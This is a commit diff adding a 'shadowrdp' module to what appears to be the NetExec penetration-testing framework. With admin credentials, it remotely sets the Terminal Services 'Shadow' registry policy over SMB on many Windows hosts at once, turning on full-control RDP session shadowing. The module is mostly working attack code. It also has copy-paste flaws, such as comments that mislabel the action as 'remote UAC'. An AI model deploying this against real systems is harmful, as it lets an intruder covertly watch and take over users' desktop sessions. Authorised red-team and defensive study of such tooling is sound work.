Add the shadow RDP module

nxc/modules/shadowrdp.py

@@ -0,0 +1,83 @@
+from impacket.dcerpc.v5 import rrp
+from impacket.examples.secretsdump import RemoteOperations
+
+# Module by @Defte_
+# Enables or disables shadow RDP
+class NXCModule:
+    name = "shadowrdp"
+    description = "Enables or disables shadow RDP"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self, context=None, module_options=None):
+        self.context = context
+        self.module_options = module_options
+        self.action = None
+
+    def options(self, context, module_options):
+
+        if "ACTION" not in module_options:
+            context.log.fail("ACTION option not specified!")
+            exit(1)
+
+        if module_options["ACTION"].lower() not in ["enable", "disable"]:
+            context.log.fail("ACTION must be either enable, disable or query")
+            exit(1)
+        self.action = module_options["ACTION"].lower()
+
+    def on_admin_login(self, context, connection):
+        try:
+            remoteOps = RemoteOperations(connection.conn, False)
+            remoteOps.enableRegistry()
+            if remoteOps._RemoteOperations__rrp:
+                ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
+                regHandle = ans["phKey"]
+
+                keyHandle = rrp.hBaseRegOpenKey(
+                    remoteOps._RemoteOperations__rrp,
+                    regHandle, 
+                    "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\"
+                )['phkResult']
+
+                # Checks if the key already exists or not
+                try:
+                    rrp.hBaseRegQueryValue(
+                        remoteOps._RemoteOperations__rrp,
+                        keyHandle,
+                        "Shadow\x00"
+                    )
+                except Exception as e:
+                    if "ERROR_FILE_NOT_FOUND" in str(e):
+                        context.log.debug("here")
+                        ans = rrp.hBaseRegCreateKey(
+                            remoteOps._RemoteOperations__rrp,
+                            keyHandle,
+                            "Shadow\x00")
+
+                # Disable remote UAC
+                if self.action == "disable":
+                    rrp.hBaseRegSetValue(
+                        remoteOps._RemoteOperations__rrp,
+                        keyHandle,
+                        "Shadow\x00",
+                        rrp.REG_DWORD,
+                        0
+                    )
+                    context.log.highlight("Shadow RDP disabled")
+
+                # Enable remote UAC
+                if self.action == "enable":
+                    rrp.hBaseRegSetValue(
+                        remoteOps._RemoteOperations__rrp,
+                        keyHandle,
+                        "Shadow\x00",
+                        rrp.REG_DWORD,
+                        2
+                    )
+                    context.log.highlight("Shadow RDP with full access enabled")
+
+        except Exception as e:
+            context.log.debug(f"Error {e}")
+        finally:
+            remoteOps.finish()